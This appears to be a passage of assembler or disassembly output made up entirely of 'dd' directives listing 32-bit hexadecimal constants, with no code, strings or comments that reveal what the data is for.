3D841CB0h dd 0E18AEECFh, 0BBED380Dh, 7D376B33h, 0F3A62CE9h, 6740C492h dd 13176E0h, 7DF67156h, 130C2BC1h, 0DC4800Ah, 77D6DA90h dd 2F750857h, 4751409Ah, 72B13F9Bh, 87DB04FAh, 94671F1Ch dd 0C83EA44Fh, 97778C4Dh, 74F7C08Ah, 4E772F35h, 7CDDB0AAh dd 0F9F955Fh, 0FA0592E8h, 0B71D7B30h, 26DDE364h, 4B533DFCh dd 44FDEC2Fh, 0F790560Bh, 3FF8EDA9h, 0AC0F1DB1h, 0E438A15Bh dd 4A4A21h, 725A8D58h, 0FADB626Ah, 841CCCECh, 2DFA025h dd 43577B53h, 0C3399C2Eh, 18CC4DEh, 443A72E9h, 0C2E82E7Dh dd 0CA672A89h, 774B8563h, 0F28C9F5h, 16A19C89h, 33598D6Fh dd 0FE7C111Eh, 42C8E6E9h, 5A51F5EBh, 385FFA04h, 5832CEFDh dd 5683A121h, 60C9B4FAh, 24BAE97Fh, 56E8A0B5h, 590B41Eh dd 0A7EEF713h, 0F65B593Ah, 9D3FBAC1h, 60E635AFh, 85043CD3h dd 0C66F560Dh, 6B6BADD6h, 0D4BE0B62h, 0BD93DF36h, 65969D58h dd 10AC1DFDh, 4454C7FBh, 0B15A82Bh, 9D767A98h, 0DD338467h dd 0A2080D8Ch, 0F37E839Fh, 0CF5D004Fh, 0C2D754E1h, 0ED3B02DCh dd 7F71DEEEh, 57E80BDAh, 0EA92DE29h, 0F4BB6098h, 992C30FEh dd 0CD963ED1h, 0AFB18D47h, 2A886022h, 70DF027h, 0CD541D79h dd 5DF5C057h, 0E9A245D6h, 0A87DC022h, 7B95F949h, 7C0B4062h dd 3D4CA774h, 5F901099h, 621AE801h, 0D385DBC3h, 0A1249F0Ch dd 5542E731h, 4E07F6C0h, 3E90E95Fh, 0A8D451B0h, 0A5DD9092h dd 0EDB94481h, 0F76D5E93h, 500D8CBBh, 19C1FDEBh, 0EF198D81h dd 0F27D333Dh, 221290C5h, 8AE8A17Fh, 153A1A0Bh, 0BB50CCAh dd 0B53D445Bh, 0EB75A8BFh, 9F2A7E49h, 0D8123778h, 5A2EAAC3h dd 6EE789EAh, 0EF35FEFFh, 7BA1E86h, 0B2EAAF71h, 8DB29DF5h dd 0F51BC098h, 775149C3h, 0BBAE6E95h, 1EE1D917h, 0AB8B1D97h dd 0E5D41EEBh, 752B2C92h, 486BC0BBh, 0CD5BF0E7h, 0D6FC7298h dd 0F156484Bh, 0E9C37436h, 0D4D7180Bh, 0D721E2CAh, 0C9F854A1h dd 5B6588ECh, 0B88FA824h, 45D60398h, 3D21525Ch, 949A95B7h dd 4C1A56CBh, 0AC568C87h, 8D8370BBh, 5EF8672Eh, 858D9EAEh dd 0B07AAC11h, 0FA7A9796h, 0DAE765B4h, 36EECADEh, 0D09866A6h dd 97374D31h, 0ABE1F78Bh, 0F5A62090h, 5440F149h, 6C2E4786h dd 0E4301BC8h, 6CEBAD39h, 0D4F97689h, 0D00343Eh, 7BF3D6E3h dd 0F81EE9D6h, 0A65BE922h, 72545D9Fh, 9E97F5FCh, 6B8B86B1h dd 0D76328C6h, 352AEC0Eh, 0F0CBB5B5h, 0DE538800h, 24E8C30Fh dd 0FF9CD1BFh, 2BE3896Bh, 3ECE42ABh, 0F0D4E144h, 2BC9A0EFh dd 0C7500B0h, 6B6EBDADh, 0F8F7F15Dh, 6E6F48EAh, 8118413Ch dd 32A1F2A1h, 64621F9Eh, 0C48564A6h, 0C4700B83h, 0A7E30B14h dd 159C1948h, 6AA85443h, 4989D803h, 5C29BA64h, 0F07DBF13h dd 87FF5A23h, 0AE4F3EEEh, 2691FEECh, 37EE6941h, 1CFAC3EBh dd 8D538628h, 38CBB1Eh, 61F08516h, 0BCE78EDAh, 5B83B103h dd 0AFDFDC78h, 80C442F6h, 0F05050C8h, 0EA67558Dh, 0AF99156Fh dd 9206C368h, 0F3715549h, 2B8D90B9h, 0AB49A69Fh, 7443B417h dd 2CFDE0D4h, 8E2B5DF6h, 99B7E561h, 9C03B2D9h, 1721FA34h dd 0B8188F08h, 7E457112h, 5489075Dh, 9C12BCA5h, 0D1E9B94Fh dd 0B5213B2Dh, 6A7B3BFBh, 0A8BEA903h, 4E10C07Fh, 0F5CEE886h dd 0A6D3DBBBh, 6F01A11Fh, 0DAC57214h, 3C8FA4FEh, 0DE74B472h dd 346C8A3h, 632D7A8Fh, 0B41F09E8h, 1B623060h, 0F4D763BDh dd 0B156BBBAh, 3528A2EFh, 2FAFC19Bh, 18F479F9h, 0AD135A1Ah dd 0E6DC17F4h, 5A775CA6h, 0EF91D7EBh, 533B989Ah, 0D121E389h dd 6FB20386h, 95EA89Dh, 6EFE7987h, 0E0B8A4A2h, 0A9F6285Bh dd 781336D9h, 244FD7B6h, 3C235A25h, 9FD310C6h, 185A92B1h dd 542DA2E1h, 8A2FA7AEh, 7595DD27h, 0A454C76Dh, 0E5FD85CEh dd 57D296EEh, 0E7387034h, 9BA61DDh, 253F1C0Ah, 903B4194h dd 45E2BDD3h, 0D112B1C5h, 3DDD57EAh, 89B7C4E5h, 48411724h dd 18DFBC7Bh, 0F97273B0h, 55335C9h, 0E0A0E153h, 0BE887231h dd 0C3050283h, 6F910C0Ch, 0BB6D8105h, 0ADF524F3h, 46C5DC47h dd 0A660DE68h, 7B7FAD30h, 452D532Eh, 0EB8264AFh, 70A269FCh dd 0BBE33057h, 0BEC3C7B6h, 67798936h, 68E7BA6Bh, 59FA20h dd 0FDCF93DEh, 2B450471h, 0E26C2768h, 0C466B6D0h, 0BCB29F7Dh dd 0D0943834h, 0DC64DE2Eh, 8233D66Fh, 0C5CFB5E7h, 0FA750B52h dd 0D2177F74h, 0F1B1A90Ch, 988D7C23h, 0E75420Ah, 511C5C04h dd 7F5C01E0h, 0C4B6E15Ch, 0AE697D8Ch, 3B725035h, 2A39F1E6h dd 0E083CFF9h, 0E7938928h, 0F69D632Bh, 0C83B24A2h, 0A11D291h dd 856DEE6h, 0A38E1261h, 0B238656Fh, 191E1A74h, 0A1AF4BE3h dd 0BE9CC0D7h, 0E20290Fh, 0EC66AB20h, 63925C1Dh, 9BBAE6D9h dd 168EF9A3h, 0D81AC699h, 540B442Bh, 874A7527h, 0EE4FB16h dd 55A55F4Eh, 0A563E968h, 0A0EF29DAh, 612D8984h, 0C5F74D86h dd 0B15156E4h, 9F829ED0h, 333DE522h, 1823CE4Fh, 13A26D03h dd 0E42FB16Fh, 39EDD60Ch, 91933F17h, 0E1D5BC7Eh, 85EA9A71h dd 0B69F610Dh, 34CDBB8h, 1F2B3974h, 1389DB0Bh, 2C520DC3h dd 0F553EF4Ah, 0F0FB91F4h, 0C558718h, 39F9C15Eh, 0F8821BD4h dd 0B5557560h, 30DA853Ch, 0C214BCF9h, 76C8CCF0h, 1D3DC10Ah dd 450EEB0Fh, 9F14D145h, 0B7B9E28Dh, 0E88E89EFh, 9EDEA8DBh dd 0A64ACCA5h, 0D7886B22h, 0D59FA86Eh, 8BFCAE5Eh, 0E12A5605h dd 514A681Ah, 0CFF63E91h, 7FCAB65h, 704293D6h, 3F9F5CDEh dd 81B92947h, 95CEDE28h, 0F9E552A6h, 0B61D06D3h, 576C326Ah dd 6D18BCC8h, 48761DF7h, 49C6F7CFh, 93BD7FE2h, 0A49A01F8h dd 0ACE6AFBAh, 42D64254h, 2D71AB83h, 431D2FFDh, 0FE61C60Eh dd 53A6A171h, 532F4ABEh, 87A95F7h, 0B9C4EAD1h, 377F81C6h dd 8E4D215Bh, 0EB387C68h, 96B00EBAh, 0E4126668h, 3752CBABh dd 7C8DCF0h, 0BAABC522h, 0C08D33A5h, 8B9E5F6Eh, 6A9160Ch dd 0F1A518B5h, 934C5BA2h, 0E57EB412h, 1BD727A1h, 0F789B774h dd 7AE9C71Ah, 2F774C1Bh, 1FC1E22Dh, 0EFCD028h, 8E870F93h dd 0FCCE9F4Bh, 0C4990BEAh, 0FD1D6A79h, 0CA66347h, 958B6AD4h dd 3DA2EE62h, 0C1C1939h, 0E954B438h, 0C1F47B92h, 0A1054326h dd 7A44FC07h, 0E28BC3CFh, 0E433FE12h, 0D230A2EDh, 29B5E82Ch dd 2FD12B6Ch, 28F3D14h, 68287320h, 0DA48D36h, 1227568Bh dd 0F4ED85C4h, 0ABF1E2B9h, 10AC3738h, 217D98F5h, 0BDAC70E2h dd 0B3D4286Eh, 86F4C4F2h, 0BC2E357Ah, 0C52B295Fh, 4D4B5F51h dd 71C06386h, 8AA1C392h, 0B7FA02Eh, 0C3FBFF61h, 2D5416DFh dd 0A0692704h, 0F4879778h, 97E63F99h, 3B1E1D4Eh, 0E40CA4F0h dd 69068227h, 721D122Bh dd 74EF4621h, 94A9760Ch, 18B92721h, 9EAF2213h, 460C5492h dd 0F6922336h, 0BF4BE509h, 0F8614E78h, 96E3066Ch, 2FC98442h dd 21E92F82h, 0F74308D8h, 42286B8Fh, 0DD813EA8h, 4B9BB63Bh dd 38B46CF1h, 87D57629h, 59476C4Ah, 7707EC77h, 0DBA4A804h dd 6331FC14h, 0A92376D9h, 5817C048h, 3B5D48A6h, 0D4661A19h dd 127F72EDh, 7001BCECh, 0AADA29C9h, 7E8F76D0h, 6000CAE9h dd 523C05EEh, 811F0434h, 0F2076579h, 0FD085274h, 57CF19BEh dd 823E2043h, 0D1CAF587h, 29E571A9h, 22AF2387h, 2E0FB2E7h dd 61ABD887h, 6E44C983h, 0FF2057E5h, 61884375h, 0B14F2D79h dd 9925A48Ch, 5E9A60F7h, 73815AAAh, 58C18E02h, 0DE98AC03h dd 0B7EFFEB9h, 0A3BDCC96h, 0F57AB563h, 8B377268h, 0B192EDDBh dd 8024C64Eh, 0FD0107A6h, 12439190h, 0D539CF7h, 60BF576Ah dd 619FEE76h, 96E4C9D8h, 0A3CD4F48h, 0DD262B66h, 34C3F002h dd 0CBED83C0h, 91288472h, 909049C3h, 9B5D3C00h, 111065D4h dd 60159EAh, 28CD11B2h, 0D7E2043Ch, 0A687C2BBh, 7D209B28h dd 0F1D5EBC8h, 18F99A84h, 6EDDE730h, 0FEDE0968h, 357E18Ah dd 0E60C8EECh, 0BBB3805Eh, 258B7BA2h, 0A3A82B3Eh, 2CB5580Dh dd 0F0E01022h, 4B5CC260h, 1B4E19E6h, 0D933313Eh, 7F294CD6h dd 6599C0A0h, 9AD112FAh, 8A5E9AFDh, 0B66B89D9h, 4FB0E86h dd 0FF575411h, 59E8F56Dh, 0CC31FFC2h, 3E1C5B74h, 0ABCFAE05h dd 1C14547Bh, 0B227D53Ah, 0D3380E39h, 0D8FC2979h, 99D472Ch dd 92BD2A2Fh, 903B7080h, 0A27EF064h, 26F377ADh, 0F0EA94A6h dd 868047A3h, 755F9999h, 0E99FD231h, 0F03E203Dh, 782BEA06h dd 0E9D5DB80h, 6A795FB3h, 8F3A21DFh, 60B6DCBAh, 659EDC33h dd 80C62DD6h, 83189B88h, 5F5DD06Eh, 7DCFCD1Ch, 0B631E703h dd 23083EBFh, 0A05366A3h, 0ADE09411h, 3A22CF42h, 0B92E9DE3h dd 716AB0ABh, 1813B40Ah, 0F36BCACCh, 7ACE9D4Fh, 0E12973C2h dd 0FC79630Fh, 0AB1A2774h, 1ABC42E6h, 0E41B00D0h, 667C80BEh dd 0C685333h, 6FFCD191h, 248400FEh, 2B250C5h, 0EF9A2816h dd 5849193Ah, 79841C83h, 7C984B44h, 7D537B78h, 0A96E3F12h dd 0F8BA6320h, 2DB78B8Eh, 0D1E83668h, 5C2060DFh, 0F3BAB4C0h dd 860B2D7Bh, 0F74E0580h, 0A78A091Ah, 0FDCEC1D0h, 0F8DA73E1h dd 26A85777h, 51E07E04h, 6B8BD83h, 19C45BBFh, 0E570FAFCh dd 5C063D95h, 5B61CF7Ch, 4E9B7B1Dh, 0FE6DE676h, 3A9B81C3h dd 0F786E2F5h, 5A6A1145h, 7DBE32EDh, 5478E88Eh, 0CB4A684h dd 7A21FF83h, 1646BB43h, 73B437Dh, 6EEF1CFDh, 0E4C82093h dd 8818C38Dh, 52A87785h, 3549D14Ah, 0D9BC01D8h, 0B298C000h dd 93B75066h, 416EF0C7h, 4B0D4E06h, 7644B515h, 0E6D824FEh dd 192B0A99h, 0F8605B5Eh, 92E6663Ch, 7F2E2400h, 0EE635DA5h dd 0F544141Bh, 0BD24420Fh, 9F6A7438h, 23829451h, 4223BCA5h dd 46B7BEE0h, 4A018417h, 0B88FD183h, 0E4973E03h, 50FE4AD6h dd 184BE867h, 19F3BCDAh, 91C2FE84h, 0CE579C98h, 3B65349Fh dd 37EAC6CCh, 22131D34h, 6F788C4Bh, 0EC11AB49h, 9F1E79D7h dd 0ABBFFEA1h, 0C5A39290h, 0E9008077h, 874A5857h, 6C490DCAh dd 5D8F040Fh, 56320F38h, 5F7F6C76h, 0A184D367h, 0AA16669Fh dd 0BFC1DB49h, 8BF0385h, 870832C3h, 0CF005B03h, 0D5C35FCDh dd 0E39B1577h, 2279754Eh, 8FE186A7h, 0B7D88985h, 4A398A78h dd 0FA873FFBh, 0B098F383h, 0E873BAD7h, 0D7E31B51h, 0F44B4B3Eh dd 0F643DBh, 28856707h, 9433CE80h, 0F03E2701h, 0FF882519h dd 0A536C341h, 0E2F6E147h, 0E32C63E9h, 0E29CE6F0h, 1F63E3A9h dd 0A23B79CCh, 11BCADBh, 827E8F2Dh, 0FC4918FEh, 5D30DB2Ah dd 5F3F475Ch, 0D63310B5h, 17479D6Fh, 0CF202B19h, 228652B2h dd 7F530513h, 744BA6E9h, 72A0D3E4h, 652D51C5h, 868F39EBh dd 0E1727269h, 8DFFD4D8h, 0A910E44Ah, 0F3844B96h, 0DBC68209h dd 372C26FEh, 82862A3h, 5C5D27Ch, 0F8990983h, 0A7041606h dd 2D2A2403h, 7F820A92h, 3113E6A2h, 0C188B88Bh, 0AC851FD4h dd 0D0DCF212h, 0AF732C59h, 0A7DA7154h, 0F969CA04h, 0CD79105Eh dd 93439C1Fh, 2EBC766Fh, 9EB9C338h, 8F350FB3h, 8221D197h dd 7A4B723Ch, 0EE44B552h, 50F0A7C8h, 3BA3457Eh, 9F72CECFh dd 0C6499B04h, 7E68B58h, 4178FE09h, 2134385Ah, 9B51FD1Ah dd 0E40DF590h, 8ACBDB1h, 0F6F71270h, 0DBD35585h, 5C6DEB0h dd 42231E1h, 0A2799898h, 1C6C2A29h, 4441793h, 564268AEh dd 902854A5h, 352C46h, 2EB10FEh, 446B06C4h, 232A47A7h dd 0C5A929EEh, 0A86EEBD1h, 973D85D9h, 0F97C0446h, 0F141C1E9h dd 0E698C9C9h, 3A34C71Dh, 4E536C0Fh, 3FDA9105h, 0CA581F39h dd 0D760BD4Dh, 4E4A2EB2h, 0CEBB3104h, 6A48753Dh, 8951A24Fh dd 0E8A90EDFh, 990F7140h, 0DAC750D4h, 38C1F246h, 9DC01F0Ch dd 0E366E488h, 410B5C01h, 514715FDh, 57150CE0h, 65BA940Eh dd 0CA062E28h, 0D5119919h, 0EC90C672h, 45B50B17h, 3F3E5151h dd 0A3FB796Ch, 0CD8DDE89h, 70B93F7h, 0D110EF8Bh, 783F6BC2h dd 6A09EEE1h, 0C40E01F3h, 0A7FAA5AAh, 93ED48h, 17183A93h dd 47D7D8BAh, 0F005A281h, 55469BC6h, 0E1AC801Ch, 0F41707BFh dd 0F0F2C80Fh, 710FC8D0h, 4551A48Bh, 827B77C4h, 3905645Ch dd 130AEADDh, 4C754AC1h, 6CFC08Ch, 1C4AEFD5h, 0E5990577h dd 2D4852A9h, 51202F38h, 0B2513806h, 764002C9h, 59F731C3h dd 0FBC4F11h, 0A5AE3FA1h, 685B653Ah, 4E4A1031h, 2A50DC91h dd 0D61757B4h, 83EA4681h, 5CE24052h, 0C6E863D6h, 0EBFEE538h dd 8708106Dh, 7DCE1F07h, 6565F73Bh, 6A27B389h, 38761499h dd 8412C218h, 0B8509589h, 53BFC773h, 1F7E1F8Fh, 8228702h dd 84DA50FAh, 85C6FD78h, 0AB85BCD6h, 3828F910h, 97D06772h dd 6AE0D7D3h, 28D26A3Ch, 3389F306h, 75C2846h, 4A38895h dd 0A12CC1E5h, 0EEB9EAA9h, 0B117ACDBh, 6264959Ah, 2E7530F3h dd 0B41E12F4h, 0BCBD47BEh, 8A1D5D54h, 7FFA1014h, 1652A2C8h dd 0F486964Ch, 0DB85F92Ah, 0FFAFCABDh, 0D1ADD906h, 2906B9F7h dd 14C162BFh, 32EB8075h, 0D44548BEh, 0CFA34A3Eh, 78EF9F75h dd 0F07C8F5Eh, 8B51C87Eh, 0D339A17Fh, 3AB49034h, 0C28009E3h dd 6409AF77h, 819C0FE6h, 0BB2DDB9Bh, 77257BDAh, 0F9647732h dd 1D3930D7h, 84CCEC1Fh, 207A81ECh, 0FCBE769Fh, 561F5648h dd 9C94D11h, 926A4289h, 0E10C1Ch, 6474F362h, 0A1006C1Ah dd 0A808CD1Ah, 0D52F22B9h, 588FB8E0h, 0C834C91Fh, 0DED90D5Ch dd 502D8A5Eh, 0ECCB70B6h, 0D568227Ch, 787BE3EDh, 177B28A0h dd 341E7172h, 8AD38CE4h, 707D5A8Ch, 99F171EEh, 2873B60Eh dd 3925BB46h, 59F178AAh, 1BEC9E79h, 914D5FA0h, 8E29FFA8h dd 38D56B1Fh, 3F662025h, 9494F7A7h, 2C428272h, 5A3E2C86h dd 2B678AFBh, 0FC9240E8h, 0DBB37A5Bh, 26D664B4h, 5E2459Ch dd 861F259Ah, 0C1E11D36h, 31D5FA51h, 90871CDEh, 14CE3C3h dd 651D4A18h, 74A8C2ADh, 11B713E2h, 0E2575E60h, 2E838175h dd 0FB7739h, 2F52D1DAh, 27C7A8AAh, 0E1F526DAh, 1F2BB576h dd 8C1B7689h, 8EA52F55h, 0CFE76661h, 0E5FC654Dh, 0EEA32C98h dd 0A6196B65h, 9D99839Ah, 0CB47F912h, 0B468E016h, 332F2C4h dd 96D2F540h, 54729D0Dh, 6E0F9200h, 1465E801h, 5780DF4Bh dd 91E4AC1Ch, 95AAA87Ah, 9B0C6A4Bh, 722CF8C3h, 0DC18CCB0h dd 1FC9A6C0h, 6944F377h dd 0F1096252h, 0E1EB2B35h, 9519619Ah, 62A0F3FAh, 0A1EED8A1h dd 925ABFC7h, 8A5B9DE6h, 5E11979Dh, 0F0124E7h, 0EE8C5361h dd 0FB4E101h, 15085085h, 5F12F3DDh, 0A12BC4B0h, 69EE06EBh dd 0B61D3758h, 24DAEA98h, 7A1FB1B0h, 3183A32Ch, 0E5E71DDBh dd 0F087CA9Bh, 0CA73B8FBh, 7EBFE807h, 3A338191h, 0B1CE349Ah dd 6E1EAC52h, 0CF482098h, 3EA34F6Ah, 9A098476h, 416D72BCh dd 0E146FBACh, 3C895BF5h, 0BCF3F5DAh, 260B92EFh, 0A6D1289Eh dd 0CA38B8DDh, 3EB3EF40h, 6278F958h, 0EB6BC65Bh, 1D6719BAh dd 69688A4Bh, 3752FBDh, 7564D181h, 0B8BC4AB9h, 160527EAh dd 17DB5E16h, 8E2B6559h, 122AB006h, 0B0593FC5h, 0F22A8DA4h dd 0BF158691h, 0AC2C3D40h, 26A149D1h, 0B3BDBECFh, 2F284D92h dd 2BF1796Bh, 0E8214316h, 0BA71781Ch, 1E7418A7h, 0E9EED145h dd 0ACDE9201h, 608AA675h, 90CF60C2h, 0E058A909h, 77F65BD0h dd 4D2F2E9Dh, 7CC3E6B0h, 8097BDDEh, 4C54D286h, 0E1A72126h dd 0C11F6520h, 0C393B153h, 13142FAh, 0B6128419h, 29DA9454h dd 9C169628h, 4BB4E67Eh, 0B2569654h, 65128CA1h, 0B014702Dh dd 35E828B1h, 1AB672B9h, 8ABF03C1h, 0ECEE8B91h, 0EE633B83h dd 859E3C3Bh, 0C7FBF37h, 0DC7C3A3h, 0DF4E2C4Fh, 0A62EDDB3h dd 7E8FEF37h, 0BE904929h, 0C898DDFh, 0DB7CDD73h, 4EEC5734h dd 356457C6h, 4A67CA2Ch, 0D125A691h, 1ACCA3C9h, 52415B2h dd 7D5C872Dh, 0B26C427Ch, 9EC58DA2h, 33A546F2h, 0E6898094h dd 0B37D8EF5h, 0CE9386D0h, 31177C00h, 1355BB86h, 734420EBh dd 9C3B1CDEh, 0E3730CD2h, 849CA3A5h, 642D20E3h, 0B44BC275h dd 87CD889Ch, 8F0073A4h, 3EF359B8h, 0C9F96511h, 710FF278h dd 251BCA37h, 70E200C4h, 0DC4C96C6h, 0A55DC39Dh, 0B034152Dh dd 14CD699Ch, 8960918Bh, 2C264C8h, 0EA32A6C7h, 8E97B259h dd 39B76CCAh, 0E3D5C598h, 0D20C13C0h, 136FE233h, 0A656B76Eh dd 0D4778257h, 0DC9E81C7h, 560D6B3h, 0A0A045ECh, 0ABC52527h dd 0C8B7B7C1h, 0C67ED5C1h, 4D6BFD61h, 9C6568B6h, 940EA450h dd 5D1FCD11h, 17F52B4Dh, 0CCD5BD0Bh, 85653EFAh, 84499C9Ah dd 0E71810DDh, 0EDBAC6C9h, 7EE6DA56h, 0F94AAE42h, 0B7189980h dd 0AD2E4722h, 1AAE8F96h, 0B43F04F7h, 0FCDA149h, 7FE042Fh dd 9E7B1AFBh, 49FA993h, 25732798h, 88963C5Ch, 2585128Dh dd 83E6AABCh, 0B3EA3504h, 4D1EC2A4h, 0BB5CF1CEh, 3B557075h dd 920DB79h, 0C87184E0h, 1FE2104Eh, 87727BA7h, 8C4D7E04h dd 0D4E8BB5Ch, 1641452Ch, 98FC829Bh, 0CC2B502h, 96796D8h dd 2FCC9F79h, 0D711D606h, 5BC01132h, 1C353DABh, 8EE69569h dd 15B897C0h, 81F02D04h, 0E94DA485h, 0B3C07F42h, 24642FBAh dd 8ED031C7h, 0A9D5EEF5h, 5BE8122Dh, 4DC4DB07h, 0D1AF9643h dd 0BE61209Ch, 40CBF36Fh, 0D7B2B4BAh, 18D338AEh, 8E2748C2h dd 2ED801F1h, 0F74E04E4h, 4B07B066h, 431BADF8h, 2C792439h dd 76271293h, 25FE0447h, 0BF6195F9h, 0C253CC20h, 0CB38D080h dd 0AFE01856h, 9A269F25h, 8DEAE428h, 77BD1356h, 1BF39DEBh dd 0B89782EFh, 91D0F3F9h, 3B6C31D6h, 0D789C1ADh, 9E06EFB3h dd 66161CF3h, 0BAC020B6h, 0AC400F8h, 0CE904E9Ah, 0E05C1906h dd 0C1AC90C9h, 0B6CF5BE3h, 2E13EB43h, 6A7B4ABh, 94B794C0h dd 5115F470h, 6EB718ABh, 0CEEC2CABh, 843262ADh, 0E2EF127Eh dd 0AE8BCC89h, 0E3256CDBh, 0E71C7434h, 0FE9771D5h, 28CC8C39h dd 0FEC6BDDCh, 99060C10h, 29E0D0E9h, 3CD30394h, 77B4C05Dh dd 0A5D27ACh, 9433F7E1h, 0ED6A4505h, 0F28524FEh, 5DEB2462h dd 0F93CDBD1h, 23DE6458h, 0EA6E158h, 0C07DCE65h, 6DDF2ACCh dd 1DFDC83h, 1457289Eh, 8BD64EE1h, 0B34B9C7Dh, 0CEF44CDh dd 0D363E4F4h, 3B1DFE63h, 3DC7C682h, 4A4798A5h, 6CDE6C18h dd 873F67E1h, 245EE5E1h, 7A435D8Bh, 160CDE7Eh, 0B5F4D28Bh dd 31A469C3h, 7E80B2CEh, 93509D23h, 2704FC8Bh, 0A4E528C9h dd 0F7FB76EEh, 3EE77399h, 4C01CEB5h, 0EB8BA75Ch, 418C344h dd 43FDEF62h, 5C1D82EBh, 40ABDD6Eh, 68F312D2h, 0A832D428h dd 8AAC9955h, 3B3AD808h, 6B24F479h, 42637DD2h, 0B8F47E2Bh dd 36C99DD8h, 63F7640Eh, 948AFB9Eh, 586CED6Eh, 8B219F60h dd 822012CDh, 0E306EBF6h, 0F5E23B9Ch, 4D4A5974h, 0E5717B82h dd 97E85F36h, 0DD2487EFh, 1CC20782h, 0AA6F863Dh, 75DB294Fh dd 2D6A9BCFh, 0B889BF8Dh, 23DB17DBh, 5E99F5C4h, 56542DFh dd 0ED06F215h, 6D3186D7h, 0DC6F3ADCh, 0DDE92D86h, 0E41E3D9h dd 0F917F76Ah, 8E95AF86h, 0C68798F1h, 0A8125988h, 0DFE6DB13h dd 0AC362D3Ah, 2DD8B3F4h, 57461987h, 1169024Eh, 0DA26A55Ch dd 6C35EDh, 335AC66h, 90AE0E5Dh, 91AA1D8Dh, 0BCE110B1h dd 863AC61Bh, 8E9C87BEh, 91298564h, 0CE790A14h, 0C205D821h dd 0B5323D72h, 58C6FE28h, 0A6CC3C36h, 5277FE2Dh, 5864EC03h dd 609DA82Ch, 0EA5F151h, 0A333B80Eh, 0E2D1FBD7h, 0B5B7B996h dd 37E2CB76h, 3C732B40h, 0DCBFF75h, 3309FFEEh, 6E7A4A1Eh dd 260A4FBDh, 575EE14Dh, 94A0FF56h, 0FF3DC793h, 104D539Ch dd 96BE4B4Dh, 86136085h, 859D885Dh, 27BB81A2h, 48081FE7h dd 4961CC7h, 941433Ch, 1F747B46h, 376E2EACh, 0DB7C8DFAh dd 5D265F88h, 0BF23771Ah, 48D34986h, 0F73AB910h, 5B2A6E82h dd 48A3DF7Ch, 0C97D2FE4h, 585FF3E3h, 63308932h, 0E67F5D4Eh dd 0D327ADB1h, 6BD41496h, 0A392742Fh, 493C5345h, 0F98C9675h dd 0FBA58EECh, 601C78C5h, 8FEA6455h, 0F1779389h, 0E35E8BCFh dd 0DE03C998h, 0AAB76FF5h, 0F4019662h, 0D5059422h, 7790C445h dd 6E706613h, 0BFAE721Bh, 0BD1FF421h, 76638F78h, 6F0FE86Eh dd 4E73DE24h, 0A581FAC6h, 0D4B3482Ah, 0A21C4042h, 8EB14E98h dd 0B0364FF4h, 0D1EB5251h, 143FFEDEh, 73BDF821h, 2AA2546Dh dd 812A7DA6h, 644C162Fh, 0B965B46Dh, 0D228F098h, 6729B07Fh dd 87D798E8h, 0EE1258EDh, 2290F035h, 45570991h, 1A0EBB50h dd 0B05EA3Fh, 29A011AFh, 0F61A6EEEh, 27C39922h, 0CCBEF827h dd 0BBDCB448h, 0C38F954h, 0BC3B033Dh, 104C6A5h, 3A749228h dd 62F04F1Fh, 826AC066h, 0BEC87441h, 0C0DECBFAh, 16431B50h dd 5EF9FF76h, 0D64A5757h, 6BBAC47Ch, 183DBBB9h, 5A91A387h dd 0E994CA05h, 0E7DBB26Dh, 732A142Ch, 0C87B5E99h, 33F1B0EFh dd 0D5223E5Eh, 0BA74CBF6h, 97F73C75h, 8C89520h, 0FEA377E8h dd 4D485D5Bh, 63F4603Ah, 0A3675872h, 0F4D433FEh, 599CCE9Bh dd 0D589075h, 8933122Eh, 199D482Ch, 68B490B6h, 8BD8DEDFh dd 0BEAF5F44h, 2232D786h, 142DE0D6h, 0A482648Dh, 51A0C595h dd 93314E61h, 63CCD5CDh, 0AFF88AEh, 7C3504F8h, 0B78CD173h dd 83AFFE0Ch, 62AAED2Eh, 5AFCDB36h, 22E486AEh, 0C3A8162Ch dd 0EA5886FBh, 33DFEF45h, 0A7C497F7h, 1B392F85h, 0E04CD108h dd 0FCCAA12Eh, 5B275D37h, 0D8E72B48h, 1E2CF46Ch, 4C84E5D1h dd 1F5B8F1Ah, 969A19F3h, 0D502531h, 1FB44E84h, 0DC01480Dh dd 392D5570h, 0D424A689h, 0EE17720Fh, 0CE148E00h, 0B80BFF8Dh dd 330965FEh, 5693B955h, 0EA77BBC2h, 0C1DA9CC4h, 566B1862h dd 0F7B4CF34h, 6A3CA1B0h, 8C660F95h, 3270B3B4h, 0B900C72Ah dd 0FE095BE3h, 3D3ACDA2h, 0E2FEC03Ch, 4098A51Ah, 0FA9E6953h dd 17628556h, 0E4EE2276h, 0CB5449A9h, 0A4C3DA84h, 4EF9E7ECh dd 6C839504h, 0A5FC20EFh dd 0F44F5CB8h, 0EFFD8E5h, 84D08770h, 0D490B6FFh, 0A9592809h dd 31DBE34Dh, 4A181C59h, 0B90A70C4h, 98DF05E9h, 1ABA5BF5h dd 21805BCDh, 46359CE3h, 44F69000h, 26AB5F54h, 1F1E9943h dd 6FCAF0D6h, 0F851ABD0h, 6B3BBDA1h, 0E7DFA0C2h, 2837558h dd 45F7CD66h, 584BA679h, 0EE42EC37h, 0E307A47Eh, 46E64C3Ch dd 0C0C6D89Fh, 0AEA53BF9h, 369E5A8Ch, 0DAEAD5A9h, 5B9469BFh dd 0C6F5F54h, 6F95ADF8h, 9C3C7E73h, 26FFD959h, 9E4123DCh dd 9999FC51h, 0CCCCEFAFh, 27A16245h, 0F6E3CDE3h, 22B831AEh dd 9BBFD595h, 0E82941FCh, 77F3BBD5h, 0F638D186h, 0D6DAF1E2h dd 7B39A09Dh, 0B6FB1BA6h, 1C328B10h, 0B626B515h, 4778B6A7h dd 3362412Eh, 1E20A124h, 94642978h, 95D83447h, 0C11D4560h dd 31F4CDE1h, 89922F2h, 4BAB441Dh, 424DDB03h, 0D0B6C6B4h dd 51A1DADh, 0B2042C85h, 2B961FBEh, 0D32F3110h, 0CBC5D13Fh dd 0DAD2C51Ah, 0CA54BD02h, 0C1D0524Bh, 3C476A75h, 63DB2A35h dd 0B2B63DFCh, 4C7E862h, 8A7ECD2Eh, 5E52D7D4h, 0AD311B24h dd 23B5354Ah, 3699C098h, 34C115D5h, 71FB21B1h, 0F0776187h dd 0B23ABD3Bh, 0F94411C0h, 65543C70h, 5B3DE7CDh, 0B5B369Bh dd 10B0C7D2h, 620F7A36h, 9D659E21h, 4A55F33Fh, 0D93E8CA0h dd 0BD424E5Eh, 657F5681h, 0D2AF47D3h, 0FEDE8FE4h, 9C3DEE55h dd 0AAA92983h, 290EA3F2h, 0EEFFB071h, 14B5C383h, 24138E57h dd 0D82A8D98h, 3A643901h, 67C0D18h, 20816E12h, 0DD431F3Ch dd 